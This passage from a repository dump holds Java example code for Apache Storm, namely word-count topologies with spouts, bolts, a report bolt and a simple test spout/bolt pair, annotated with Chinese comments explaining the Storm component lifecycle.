{\n\t\tSystem.out.println(\"WordReader.close()\");\n\t}\n\n\t/**\n\t * 当一个Tuple处理失败时，会调用这个方法\n\t */\n\tpublic void fail(Object msgId) {\n\t\tSystem.out.println(\"WordReader.fail(Object msgId):\" + msgId);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/bigdata/storm/example/package-info.java",
    "content": "/**\n * \n */\n/**\n * Title: package-info\n * Description: \n * Version:1.0.0  \n * @author pancm\n * @date 2017年12月28日\n */\npackage com.jun.plugin.bigdata.storm.example;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/bigdata/storm/example1/ReportBolt.java",
    "content": "package com.jun.plugin.bigdata.storm.example1;\n\nimport java.util.ArrayList;\nimport java.util.Collections;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport org.apache.storm.task.OutputCollector;\nimport org.apache.storm.task.TopologyContext;\nimport org.apache.storm.topology.OutputFieldsDeclarer;\nimport org.apache.storm.topology.base.BaseRichBolt;\nimport org.apache.storm.tuple.Tuple;\n\n\n\n/**\n * 生成一份报告\n * @author soul\n *\n */\npublic class ReportBolt extends BaseRichBolt {\n\n    private HashMap<String, Long> counts = null;//保存单词和对应的计数\n\n    public void prepare(Map stormConf, TopologyContext context, OutputCollector collector) {\n        // TODO Auto-generated method stub\n\n        this.counts = new HashMap<String, Long>();\n    }\n\n    public void execute(Tuple input) {\n        // TODO Auto-generated method stub\n\n        String word = input.getStringByField(\"word\");\n        Long count = input.getLongByField(\"count\");\n        this.counts.put(word, count);\n\n        //实时输出\n        System.out.println(\"结果:\"+this.counts);\n    }\n\n    public void declareOutputFields(OutputFieldsDeclarer declarer) {\n        // TODO Auto-generated method stub\n        //这里是末端bolt，不需要发射数据流，这里无需定义\n    }\n\n    /**\n     * cleanup是IBolt接口中定义\n     * Storm在终止一个bolt之前会调用这个方法\n     * 本例我们利用cleanup()方法在topology关闭时输出最终的计数结果\n     * 通常情况下，cleanup()方法用来释放bolt占用的资源，如打开的文件句柄或数据库连接\n     * 但是当Storm拓扑在一个集群上运行，IBolt.cleanup()方法不能保证执行（这里是开发模式，生产环境不要这样做）。\n     */\n    public void cleanup(){\n        System.out.println(\"---------- FINAL COUNTS -----------\");\n\n        ArrayList<String> keys = new ArrayList<String>();\n        keys.addAll(this.counts.keySet());\n        Collections.sort(keys);\n        for(String key : keys){\n            System.out.println(key + \" : \" + this.counts.get(key));\n        }\n        System.out.println(\"----------------------------\");\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/bigdata/storm/example1/SentenceSpout.java",
    "content": "package com.jun.plugin.bigdata.storm.example1;\n\nimport java.util.Map;\n\nimport org.apache.storm.spout.SpoutOutputCollector;\nimport org.apache.storm.task.TopologyContext;\nimport org.apache.storm.topology.OutputFieldsDeclarer;\nimport org.apache.storm.topology.base.BaseRichSpout;\nimport org.apache.storm.tuple.Fields;\nimport org.apache.storm.tuple.Values;\nimport org.apache.storm.utils.Utils;\n\n\n\n/**\n * 向后端发射tuple数据流\n * @author soul\n *\n */\npublic class SentenceSpout extends BaseRichSpout {\n\n    //BaseRichSpout是ISpout接口和IComponent接口的简单实现，接口对用不到的方法提供了默认的实现\n\n    /**\n\t * \n\t */\n\tprivate static final long serialVersionUID = 1L;\n\tprivate SpoutOutputCollector collector;\n    private String[] sentences = {\n            \"my name is soul\",\n            \"im a boy\",\n            \"i have a dog\",\n            \"my dog has fleas\",\n            \"my girl friend is beautiful\"\n    };\n\n    private int index=0;\n\n    /**\n     * open()方法中是ISpout接口中定义，在Spout组件初始化时被调用。\n     * open()接受三个参数:一个包含Storm配置的Map,一个TopologyContext对象，提供了topology中组件的信息,SpoutOutputCollector对象提供发射tuple的方法。\n     * 在这个例子中,我们不需要执行初始化,只是简单的存储在一个SpoutOutputCollector实例变量。\n     */\n    public void open(Map conf, TopologyContext context, SpoutOutputCollector collector) {\n        // TODO Auto-generated method stub\n        this.collector = collector;\n    }\n\n    /**\n     * nextTuple()方法是任何Spout实现的核心。\n     * Storm调用这个方法，向输出的collector发出tuple。\n     * 在这里,我们只是发出当前索引的句子，并增加该索引准备发射下一个句子。\n     */\n    public void nextTuple() {\n        //collector.emit(new Values(\"hello world this is a test\"));\n\n        // TODO Auto-generated method stub\n        this.collector.emit(new Values(sentences[index]));\n        index++;\n        if (index>=sentences.length) {\n            index=0;\n        }\n        Utils.sleep(1);\n    }\n\n    /**\n     * declareOutputFields是在IComponent接口中定义的，所有Storm的组件（spout和bolt）都必须实现这个接口\n     * 用于告诉Storm流组件将会发出那些数据流，每个流的tuple将包含的字段\n     */\n    public void declareOutputFields(OutputFieldsDeclarer declarer) {\n        // TODO Auto-generated method stub\n\n        declarer.declare(new Fields(\"sentence\"));//告诉组件发出数据流包含sentence字段\n\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/bigdata/storm/example1/SplitSentenceBolt.java",
    "content": "package com.jun.plugin.bigdata.storm.example1;\n\nimport java.util.Map;\n\nimport org.apache.storm.task.OutputCollector;\nimport org.apache.storm.task.TopologyContext;\nimport org.apache.storm.topology.OutputFieldsDeclarer;\nimport org.apache.storm.topology.base.BaseRichBolt;\nimport org.apache.storm.tuple.Fields;\nimport org.apache.storm.tuple.Tuple;\nimport org.apache.storm.tuple.Values;\n\n\n\n/**\n * 订阅sentence spout发射的tuple流，实现分割单词\n * @author soul\n *\n */\npublic class SplitSentenceBolt extends BaseRichBolt {\n    //BaseRichBolt是IComponent和IBolt接口的实现\n    //继承这个类，就不用去实现本例不关心的方法\n\n    /**\n\t * \n\t */\n\tprivate static final long serialVersionUID = 1L;\n\tprivate OutputCollector collector;\n\n    /**\n     * prepare()方法类似于ISpout 的open()方法。\n     * 这个方法在blot初始化时调用，可以用来准备bolt用到的资源,比如数据库连接。\n     * 本例子和SentenceSpout类一样,SplitSentenceBolt类不需要太多额外的初始化,\n     * 所以prepare()方法只保存OutputCollector对象的引用。\n     */\n    public void prepare(Map stormConf, TopologyContext context, OutputCollector collector) {\n        // TODO Auto-generated method stub\n        this.collector=collector;\n\n    }\n\n    /**\n     * SplitSentenceBolt核心功能是在类IBolt定义execute()方法，这个方法是IBolt接口中定义。\n     * 每次Bolt从流接收一个订阅的tuple，都会调用这个方法。\n     * 本例中,收到的元组中查找“sentence”的值,\n     * 并将该值拆分成单个的词,然后按单词发出新的tuple。\n     */\n    public void execute(Tuple input) {\n        // TODO Auto-generated method stub\n        String sentence = input.getStringByField(\"sentence\");\n        String[] words = sentence.split(\" \");\n        for (String word : words) {\n            this.collector.emit(new Values(word));//向下一个bolt发射数据\n        }       \n    }\n\n    /**\n     * plitSentenceBolt类定义一个元组流,每个包含一个字段(“word”)。\n     */\n    public void declareOutputFields(OutputFieldsDeclarer declarer) {\n        // TODO Auto-generated method stub\n        declarer.declare(new Fields(\"word\"));\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/bigdata/storm/example1/WordCountApp.java",
    "content": "package com.jun.plugin.bigdata.storm.example1;\n\n\n\nimport org.apache.storm.Config;\nimport org.apache.storm.LocalCluster;\nimport org.apache.storm.topology.TopologyBuilder;\nimport org.apache.storm.tuple.Fields;\nimport org.apache.storm.utils.Utils;\n\n/**\n * 实现单词计数topology\n *\n */\npublic class WordCountApp \n{\n    private static final String SENTENCE_SPOUT_ID = \"sentence-spout\";\n    private static final String SPLIT_BOLT_ID = \"split-bolt\";\n    private static final String COUNT_BOLT_ID = \"count-bolt\";\n    private static final String REPORT_BOLT_ID = \"report-bolt\";\n    private static final String TOPOLOGY_NAME = \"word-count-topology\";\n\n    public static void main( String[] args ) //throws Exception\n    {\n        //System.out.println( \"Hello World!\" );\n        //实例化spout和bolt\n\n        SentenceSpout spout = new SentenceSpout();\n        SplitSentenceBolt splitBolt = new SplitSentenceBolt();\n        WordCountBolt countBolt = new WordCountBolt();\n        ReportBolt reportBolt = new ReportBolt();\n\n        TopologyBuilder builder = new TopologyBuilder();//创建了一个TopologyBuilder实例\n\n        //TopologyBuilder提供流式风格的API来定义topology组件之间的数据流\n\n        //builder.setSpout(SENTENCE_SPOUT_ID, spout);//注册一个sentence spout\n\n        //设置两个Executeor(线程)，默认一个\n        builder.setSpout(SENTENCE_SPOUT_ID, spout,2);\n\n        // SentenceSpout --> SplitSentenceBolt\n\n        //注册一个bolt并订阅sentence发射出的数据流，shuffleGrouping方法告诉Storm要将SentenceSpout发射的tuple随机均匀的分发给SplitSentenceBolt的实例\n        //builder.setBolt(SPLIT_BOLT_ID, splitBolt).shuffleGrouping(SENTENCE_SPOUT_ID);\n\n        //SplitSentenceBolt单词分割器设置4个Task，2个Executeor(线程)\n        builder.setBolt(SPLIT_BOLT_ID, splitBolt,2).setNumTasks(4).shuffleGrouping(SENTENCE_SPOUT_ID);\n\n        // SplitSentenceBolt --> WordCountBolt\n\n        //fieldsGrouping将含有特定数据的tuple路由到特殊的bolt实例中\n        //这里fieldsGrouping()方法保证所有“word”字段相同的tuuple会被路由到同一个WordCountBolt实例中\n        //builder.setBolt(COUNT_BOLT_ID, countBolt).fieldsGrouping( SPLIT_BOLT_ID, new Fields(\"word\"));\n\n        //WordCountBolt单词计数器设置4个Executeor(线程)\n        builder.setBolt(COUNT_BOLT_ID, countBolt,4).fieldsGrouping( SPLIT_BOLT_ID, new Fields(\"word\"));\n\n        // WordCountBolt --> ReportBolt\n\n        //globalGrouping是把WordCountBolt发射的所有tuple路由到唯一的ReportBolt\n        builder.setBolt(REPORT_BOLT_ID, reportBolt).globalGrouping(COUNT_BOLT_ID);\n\n\n        Config config = new Config();//Config类是一个HashMap<String,Object>的子类，用来配置topology运行时的行为\n        //设置worker数量\n        //config.setNumWorkers(2);\n        //本地提交\n        LocalCluster cluster = new LocalCluster();\n\n        cluster.submitTopology(TOPOLOGY_NAME, config, builder.createTopology());\n\n        Utils.sleep(10000);\n        cluster.killTopology(TOPOLOGY_NAME);        \n        cluster.shutdown();\n\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/bigdata/storm/example1/WordCountBolt.java",
    "content": "package com.jun.plugin.bigdata.storm.example1;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport org.apache.storm.task.OutputCollector;\nimport org.apache.storm.task.TopologyContext;\nimport org.apache.storm.topology.OutputFieldsDeclarer;\nimport org.apache.storm.topology.base.BaseRichBolt;\nimport org.apache.storm.tuple.Fields;\nimport org.apache.storm.tuple.Tuple;\nimport org.apache.storm.tuple.Values;\n\n\n\n/**\n * 订阅 split sentence bolt的输出流，实现单词计数，并发送当前计数给下一个bolt\n * @author soul\n *\n */\npublic class WordCountBolt extends BaseRichBolt {\n    /**\n\t * \n\t */\n\tprivate static final long serialVersionUID = 1L;\n\tprivate OutputCollector collector;\n    //存储单词和对应的计数\n    private HashMap<String, Long> counts = null;//注：不可序列化对象需在prepare中实例化\n\n    /**\n     * 大部分实例变量通常是在prepare()中进行实例化，这个设计模式是由topology的部署方式决定的\n     * 因为在部署拓扑时,组件spout和bolt是在网络上发送的序列化的实例变量。\n     * 如果spout或bolt有任何non-serializable实例变量在序列化之前被实例化(例如,在构造函数中创建)\n     * 会抛出NotSerializableException并且拓扑将无法发布。\n     * 本例中因为HashMap 是可序列化的,所以可以安全地在构造函数中实例化。\n     * 但是，通常情况下最好是在构造函数中对基本数据类型和可序列化的对象进行复制和实例化\n     * 而在prepare()方法中对不可序列化的对象进行实例化。\n     */\n    public void prepare(Map stormConf, TopologyContext context, OutputCollector collector) {\n        // TODO Auto-generated method stub\n        this.collector = collector;\n        this.counts = new HashMap<String, Long>();\n    }\n\n    /**\n     * 在execute()方法中,我们查找的收到的单词的计数(如果不存在，初始化为0)\n     * 然后增加计数并存储,发出一个新的词和当前计数组成的二元组。\n     * 发射计数作为流允许拓扑的其他bolt订阅和执行额外的处理。\n     */\n    public void execute(Tuple input) {\n        // TODO Auto-generated method stub\n\n        String word = input.getStringByField(\"word\");\n        Long count = this.counts.get(word);\n        if (count == null) {\n            count = 0L;//如果不存在，初始化为0\n        }\n        count++;//增加计数\n        this.counts.put(word, count);//存储计数\n        this.collector.emit(new Values(word,count));\n    }\n\n    /**\n     * \n     */\n    public void declareOutputFields(OutputFieldsDeclarer declarer) {\n        // TODO Auto-generated method stub\n        //声明一个输出流，其中tuple包括了单词和对应的计数，向后发射\n        //其他bolt可以订阅这个数据流进一步处理\n        declarer.declare(new Fields(\"word\",\"count\"));\n    }\n\n}"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/bigdata/storm/example1/package-info.java",
    "content": "/**\n * \n */\n/**\n * Title: package-info\n * Description: \n * Version:1.0.0  \n * @author pancm\n * @date 2017年12月29日\n */\npackage com.jun.plugin.bigdata.storm.example1;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/bigdata/storm/one/WordCountApp.java",
    "content": "package com.jun.plugin.bigdata.storm.one;\n\nimport org.apache.storm.Config;\nimport org.apache.storm.LocalCluster;\nimport org.apache.storm.StormSubmitter;\nimport org.apache.storm.generated.AlreadyAliveException;\nimport org.apache.storm.generated.AuthorizationException;\nimport org.apache.storm.generated.InvalidTopologyException;\nimport org.apache.storm.generated.StormTopology;\nimport org.apache.storm.topology.TopologyBuilder;\nimport org.apache.storm.tuple.Fields;\n\n \n\n/**\n * \n* Title: WordCountApp\n* Description: 测试storm本地模式 统计words单次个数\n* 源代码地址:http://www.tianshouzhi.com/api/tutorials/storm/54\n* Version:1.0.0  \n* @author pancm\n* @date 2017年12月28日\n */\npublic class WordCountApp {\n    public static void main(String[] args) throws InterruptedException, AlreadyAliveException, InvalidTopologyException {\n    \t//定义拓扑\n        TopologyBuilder builder = new TopologyBuilder();\n        builder.setSpout(\"word-reader\" , new WordReader());\n        builder.setBolt(\"word-normalizer\" , new WordNormalizer()).shuffleGrouping(\"word-reader\" );\n        builder.setBolt(\"word-counter\" , new WordCounter()).fieldsGrouping(\"word-normalizer\" , new Fields(\"word\"));\n        StormTopology topology = builder.createTopology();\n        //配置\n        \n        Config conf = new Config();\n        String fileName =\"words.txt\" ;\n        conf.put(\"fileName\" , fileName );\n        conf.setDebug(false);\n \n         //运行拓扑\n         System.out.println(\"开始...\");\n         if(args !=null&&args.length>0){ //有参数时，表示向集群提交作业，并把第一个参数当做topology名称\n        \t System.out.println(\"远程模式\");\n             try {\n\t\t\t\tStormSubmitter.submitTopology(args[0], conf, topology);\n\t\t\t} catch (AuthorizationException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n       } else{//没有参数时，本地提交\n         //启动本地模式\n    \t System.out.println(\"本地模式\");\n         LocalCluster cluster = new LocalCluster();\n         cluster.submitTopology(\"Getting-Started-Topologie\" , conf , topology );\n         Thread.sleep(5000);\n         //关闭本地集群\n         cluster.shutdown();\n       }\n         System.out.println(\"结束\");\n       \n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/bigdata/storm/one/WordCounter.java",
    "content": "package com.jun.plugin.bigdata.storm.one;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport org.apache.storm.task.OutputCollector;\nimport org.apache.storm.task.TopologyContext;\nimport org.apache.storm.topology.IRichBolt;\nimport org.apache.storm.topology.OutputFieldsDeclarer;\nimport org.apache.storm.tuple.Tuple;\n\n/**\n * \n* Title: WordCounter\n* Description: 该类主要用于统计\n* Version:1.0.0  \n* @author pancm\n* @date 2017年12月28日\n */\npublic class WordCounter implements IRichBolt {\n\t/**\n\t * \n\t */\n\tprivate static final long serialVersionUID = 1L;\n\tInteger id;\n\tString name;\n\tMap<String, Integer> counters;\n\tprivate OutputCollector collector;\n\n\t/**\n\t * 当Bolt销毁时，我们会显示单词数量\n\t */\n\t@Override\n\tpublic void cleanup() {\n\t\t System.out.println(\"开始显示单词数量...\");\n\t\tfor (Map.Entry<String, Integer> entry : counters.entrySet()) {\n\t\t\tSystem.out.println(entry.getKey() + \": \" + entry.getValue());\n\t\t}\n\t\tSystem.out.println(\"WordCounter.cleanup()\");\n\t}\n\n\t/**\n\t * 为每个单词计数\n\t */\n\t@Override\n\tpublic void execute(Tuple input) {\n\t\tSystem.out.println(\"WordCounter.execute()\");\n\t\tString str = input.getString(0);\n\t\t/**\n\t\t * 如果单词尚不存在于map，我们就创建一个，如果已在，我们就为它加1\n\t\t */\n\t\tif (!counters.containsKey(str)) {\n\t\t\tcounters.put(str, 1);\n\t\t} else {\n\t\t\tInteger c = counters.get(str) + 1;\n\t\t\tcounters.put(str, c);\n\t\t}\n\t\t// 对元组作为应答\n\t\tcollector.ack(input);\n\t}\n\n\t/**\n\t * 初始化\n\t */\n\t@Override\n\tpublic void prepare(Map stormConf, TopologyContext context,\n\t\t\tOutputCollector collector) {\n\t\tthis.counters = new HashMap<String, Integer>();\n\t\tthis.collector = collector;\n\t\tthis.name = context.getThisComponentId();\n\t\tthis.id = context.getThisTaskId();\n\t}\n\n\t@Override\n\tpublic void declareOutputFields(OutputFieldsDeclarer declarer) {\n\t\tSystem.out.println(\"WordCounter.declareOutputFields()\");\n\t}\n\n\t@Override\n\tpublic Map<String, Object> getComponentConfiguration() {\n\t\tSystem.out.println(\"WordCounter.getComponentConfiguration()\");\n\t\treturn null;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/bigdata/storm/one/WordNormalizer.java",
    "content": "package com.jun.plugin.bigdata.storm.one;\n\nimport java.util.Map;\n\nimport org.apache.storm.task.OutputCollector;\nimport org.apache.storm.task.TopologyContext;\nimport org.apache.storm.topology.IRichBolt;\nimport org.apache.storm.topology.OutputFieldsDeclarer;\nimport org.apache.storm.tuple.Fields;\nimport org.apache.storm.tuple.Tuple;\nimport org.apache.storm.tuple.Values;\n\n\n/**\n * \n* Title: WordNormalizer\n* Description:该类主要用于格式化数据 \n* Version:1.0.0  \n* @author pancm\n* @date 2017年12月28日\n */\npublic class WordNormalizer implements IRichBolt {\n\t/**\n       *\n       */\n\tprivate static final long serialVersionUID = 3644849073824009317L;\n\tprivate OutputCollector collector;\n\n\t/**\n\t * *bolt*从单词文件接收到文本行，并标准化它。 文本行会全部转化成小写，并切分它，从中得到所有单词。\n\t */\n\tpublic void execute(Tuple input) {\n\t\tSystem.out.println(\"WordNormalizer.execute()\");\n\t\tString sentence = input.getString(0);\n\t\tString[] words = sentence.split(\" \");\n\t\tfor (String word : words) {\n\t\t\tword = word.trim();\n\t\t\tif (!word.isEmpty()) {\n\t\t\t\tword = word.toLowerCase();\n\t\t\t\t/* //发布这个单词 */\n\t\t\t\tcollector.emit(input, new Values(word));\n\t\t\t}\n\t\t}\n\t\t// 对元组做出应答\n\t\tcollector.ack(input);\n\t}\n\n\tpublic void prepare(Map stormConf, TopologyContext context,\n\t\t\tOutputCollector collector) {\n\t\tSystem.out.println(\"WordNormalizer.prepare()\");\n\t\tthis.collector = collector;\n\t}\n\n\t/**\n\t * 这个*bolt*只会发布“word”域\n\t */\n\tpublic void declareOutputFields(OutputFieldsDeclarer declarer) {\n\t\tSystem.out.println(\"WordNormalizer.declareOutputFields()\");\n\t\tdeclarer.declare(new Fields(\"word\"));\n\t}\n\n\t@Override\n\tpublic Map<String, Object> getComponentConfiguration() {\n\t\tSystem.out.println(\"WordNormalizer.getComponentConfiguration()\");\n\t\treturn null;\n\t}\n\n\tpublic void cleanup() {\n\t\tSystem.out.println(\"WordNormalizer.cleanup()\");\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/bigdata/storm/one/WordReader.java",
    "content": "package com.jun.plugin.bigdata.storm.one;\n\nimport java.io.BufferedReader;\nimport java.io.FileReader;\nimport java.io.InputStream;\nimport java.io.InputStreamReader;\nimport java.util.Map;\n\nimport org.apache.storm.spout.SpoutOutputCollector;\nimport org.apache.storm.task.TopologyContext;\nimport org.apache.storm.topology.IRichSpout;\nimport org.apache.storm.topology.OutputFieldsDeclarer;\nimport org.apache.storm.tuple.Fields;\nimport org.apache.storm.tuple.Values;\n\n\n/**\n * \n* Title: WordReader\n* Description: 该类主要用于从外部数据源words.txt中获取数据\n* Version:1.0.0  \n* @author pancm\n* @date 2017年12月28日\n */\npublic class WordReader implements IRichSpout {\n\t/**\n\t * \n\t */\n\tprivate static final long serialVersionUID = 6146631397258548505L;\n\tprivate SpoutOutputCollector collector;\n\tprivate FileReader fileReader;\n\tBufferedReader reader;\n\tprivate boolean completed = false;\n\n\t/**\n\t * 这个方法做的惟一一件事情就是分发文件中的文本行\n\t */\n\tpublic void nextTuple() {\n\t\t/**\n\t\t * 这个方法会不断的被调用，直到整个文件都读完了，我们将等待并返回。\n\t\t */\n\t\tif (completed) {\n\t\t\ttry {\n\t\t\t\tThread.sleep(1000);\n\t\t\t} catch (InterruptedException e) {\n\t\t\t\t// 什么也不做\n\t\t\t}\n\t\t\treturn;\n\t\t}\n\t\tString str;\n\n\t\ttry {\n\t\t\tint i = 0;\n\t\t\t// 读所有文本行\n\t\t\twhile ((str = reader.readLine()) != null) {\n\t\t\t\tSystem.out.println(\"WordReader.nextTuple(),emits time:\" + i++);\n\t\t\t\t/**\n\t\t\t\t * 按行发布一个新值\n\t\t\t\t */\n\t\t\t\tthis.collector.emit(new Values(str), str);\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\tthrow new RuntimeException(\"Error reading tuple\", e);\n\t\t} finally {\n\t\t\tcompleted = true;\n\t\t}\n\t}\n\n\t/**\n\t * \n\t * 当Spout被创建之后，这个方法会被掉用\n\t */\n\tpublic void open(Map conf, TopologyContext context,\n\t\t\tSpoutOutputCollector collector) {\n\n\t\tSystem.out\n\t\t\t\t.println(\"WordReader.open(Map conf, TopologyContext context, SpoutOutputCollector collector)\");\n\t\tString fileName = conf.get(\"fileName\").toString();\n\t\tInputStream inputStream = WordReader.class.getClassLoader()\n\t\t\t\t.getResourceAsStream(fileName);\n\t\treader = new BufferedReader(new InputStreamReader(inputStream));\n\t\tthis.collector = collector;\n\t}\n\n\t/**\n\t * 声明数据格式，即输出的一个Tuple中，包含几个字段\n\t */\n\tpublic void declareOutputFields(OutputFieldsDeclarer declarer) {\n\t\tSystem.out\n\t\t\t\t.println(\"WordReader.declareOutputFields(OutputFieldsDeclarer declarer)\");\n\t\tdeclarer.declare(new Fields(\"line\"));\n\t}\n\n\t@Override\n\tpublic void activate() {\n\t\tSystem.out.println(\"WordReader.activate()\");\n\t}\n\n\t@Override\n\tpublic void deactivate() {\n\t\tSystem.out.println(\"WordReader.deactivate()\");\n\t}\n\n\t@Override\n\tpublic Map<String, Object> getComponentConfiguration() {\n\t\tSystem.out.println(\"WordReader.getComponentConfiguration()\");\n\t\treturn null;\n\t}\n\n\t/**\n\t * 当一个Tuple处理成功时，会调用这个方法\n\t */\n\tpublic void ack(Object msgId) {\n\t\tSystem.out.println(\"WordReader.ack(Object msgId):\" + msgId);\n\t}\n\n\t/**\n\t * 当Topology停止时，会调用这个方法\n\t */\n\tpublic void close() {\n\t\tSystem.out.println(\"WordReader.close()\");\n\t}\n\n\t/**\n\t * 当一个Tuple处理失败时，会调用这个方法\n\t */\n\tpublic void fail(Object msgId) {\n\t\tSystem.out.println(\"WordReader.fail(Object msgId):\" + msgId);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/bigdata/storm/one/package-info.java",
    "content": "/**\n * \n */\n/**\n * Title: package-info\n * Description: \n * Version:1.0.0  \n * @author pancm\n * @date 2017年12月28日\n */\npackage com.jun.plugin.bigdata.storm.one;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/bigdata/storm/package-info.java",
    "content": "/**\n * \n */\n/**\n * Title: package-info\n * Description: strom相关代码\n * Version:1.0.0  \n * @author pancm\n * @date 2018年1月11日\n */\npackage com.jun.plugin.bigdata.storm;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/bigdata/storm/test/App.java",
    "content": "package com.jun.plugin.bigdata.storm.test;\n\nimport org.apache.storm.Config;\nimport org.apache.storm.LocalCluster;\nimport org.apache.storm.StormSubmitter;\nimport org.apache.storm.topology.TopologyBuilder;\n\n/**\n * \n* Title: App\n* Description:\n* storm测试 \n* Version:1.0.0  \n* @author pancm\n* @date 2018年3月6日\n */\npublic class App {\n\t\n\tprivate static final String str1=\"test1\"; \n\tprivate static final String str2=\"test2\"; \n\n\tpublic static void main(String[] args)  {\n\t\t// TODO Auto-generated method stub\n\t\t//定义一个拓扑\n\t\tTopologyBuilder builder=new TopologyBuilder();\n\t\tbuilder.setSpout(str1, new TestSpout());\n\t\tbuilder.setBolt(str2, new TestBolt()).shuffleGrouping(str1);\n\t\tConfig conf = new Config();\n\t\tconf.put(\"test\", \"test\");\n\t\ttry{\n\t\t  //运行拓扑\n\t       if(args !=null&&args.length>0){ //有参数时，表示向集群提交作业，并把第一个参数当做topology名称\n\t       \t System.out.println(\"远程模式\");\n\t\t\t StormSubmitter.submitTopology(args[0], conf, builder.createTopology());\n\t      } else{//没有参数时，本地提交\n\t        //启动本地模式\n\t     \tSystem.out.println(\"本地模式\");\n\t        LocalCluster cluster = new LocalCluster();\n\t        cluster.submitTopology(\"111\" ,conf,  builder.createTopology() );\n//\t        Thread.sleep(2000);\n//\t        //关闭本地集群\n//\t        cluster.shutdown();\n\t      }\n\t\t}catch (Exception e){\n\t\t\te.printStackTrace();\n\t\t}\n\t\t\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/bigdata/storm/test/TestBolt.java",
    "content": "package com.jun.plugin.bigdata.storm.test;\n\nimport java.util.Map;\n\nimport org.apache.storm.task.OutputCollector;\nimport org.apache.storm.task.TopologyContext;\nimport org.apache.storm.topology.OutputFieldsDeclarer;\nimport org.apache.storm.topology.base.BaseRichBolt;\nimport org.apache.storm.tuple.Tuple;\n\n/**\n * \n* Title: TestBolt\n* Description:\n* 用于处理消息\n* Version:1.0.0  \n* @author pancm\n* @date 2018年3月6日\n */\npublic class TestBolt extends BaseRichBolt{\n\n\t/**\n\t * \n\t */\n\tprivate static final long serialVersionUID = 4743224635827696343L;\n\t\n\tprivate OutputCollector collector;\n    private long count=1;\n\t/**\n    * 在Bolt启动前执行，提供Bolt启动环境配置的入口\n    * 一般对于不可序列化的对象进行实例化。\n    * 注:如果是可以序列化的对象，那么最好是使用构造函数。\n    */\n\t@Override\n\tpublic void prepare(Map map, TopologyContext arg1, OutputCollector collector) {\n\t\tSystem.out.println(\"prepare:\"+map.get(\"test\"));\n\t\tthis.collector=collector;\n\t}\n  \n\t/**\n\t * execute()方法是Bolt实现的核心。\n\t * 也就是执行方法，每次Bolt从流接收一个订阅的tuple，都会调用这个方法。\n\t */\n\t@Override\n\tpublic void execute(Tuple tuple) {\n\t\t/**\n\t\t * 接受消息可以使用这两种方式进行接收。\n\t\t * 个人推荐第二种。\n\t\t */\n//\t\tString msg=tuple.getString(0);\n\t\tString msg=tuple.getStringByField(\"test\");\n\t\t//这里我们就不做消息的处理，只打印\n\t    System.out.println(\"Bolt第\"+count+\"接受的消息:\"+msg);\t\n\t    count++;\n\t    /**\n\t     * \n         * 没次调用处理一个输入的tuple，所有的tuple都必须在一定时间内应答。\n         * 可以是ack或者fail。否则，spout就会重发tuple。\n         * 如果继承的是IRichBolt，则需要手动ack。\n         * 这里就不用了,BaseRichBolt会自动帮我们应答。\n\t     */\n//\t    collector.ack(tuple);\n\t}\n\n\t/**\n\t * 声明数据格式\n\t */\n\t@Override\n\tpublic void declareOutputFields(OutputFieldsDeclarer arg0) {\n\t\t\n\t}\n\t\n\t/**\n     * cleanup是IBolt接口中定义,用于释放bolt占用的资源。\n     * Storm在终止一个bolt之前会调用这个方法。\n\t */\n\t@Override\n\tpublic void cleanup() {\n\t\tSystem.out.println(\"资源释放\");\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/bigdata/storm/test/TestSpout.java",
    "content": "package com.jun.plugin.bigdata.storm.test;\n\nimport java.util.Map;\n\nimport org.apache.storm.spout.SpoutOutputCollector;\nimport org.apache.storm.task.TopologyContext;\nimport org.apache.storm.topology.OutputFieldsDeclarer;\nimport org.apache.storm.topology.base.BaseRichSpout;\nimport org.apache.storm.tuple.Fields;\nimport org.apache.storm.tuple.Values;\n\n/**\n * \n* Title: TestSpout\n* Description:\n* Spout 发射器\n* 用于向Bolt发送消息\n* Version:1.0.0  \n* @author pancm\n* @date 2018年3月6日\n */\npublic class TestSpout extends BaseRichSpout{\n\n\tprivate static final long serialVersionUID = 225243592780939490L;\n\n\tprivate SpoutOutputCollector collector;\n\tprivate String message=\"这是个测试消息!\";\n\tprivate static final String field=\"test\";\n\tprivate long count=1;\n\t\n\t\n\t/**\n     * open()方法中是在ISpout接口中定义，在Spout组件初始化时被调用。\n     * 有三个参数:\n     * 1.Storm配置的Map;\n     * 2.topology中组件的信息;\n     * 3.发射tuple的方法;\n     */\n\t@Override\n\tpublic void open(Map map, TopologyContext arg1, SpoutOutputCollector collector) {\n\t\tSystem.out.println(\"open:\"+map.get(\"test\"));\n\t\tthis.collector = collector;\n\t}\n\n\t/**\n     * nextTuple()方法是Spout实现的核心。\n     * 也就是主要执行方法，用于输出信息,通过collector.emit方法发射。\n     */\n\t@Override\n\tpublic void nextTuple() {\n\t\tif(count<=2){\n\t\t\tSystem.out.println(\"第\"+count+\"次开始发送数据...\");\n\t\t\tthis.collector.emit(new 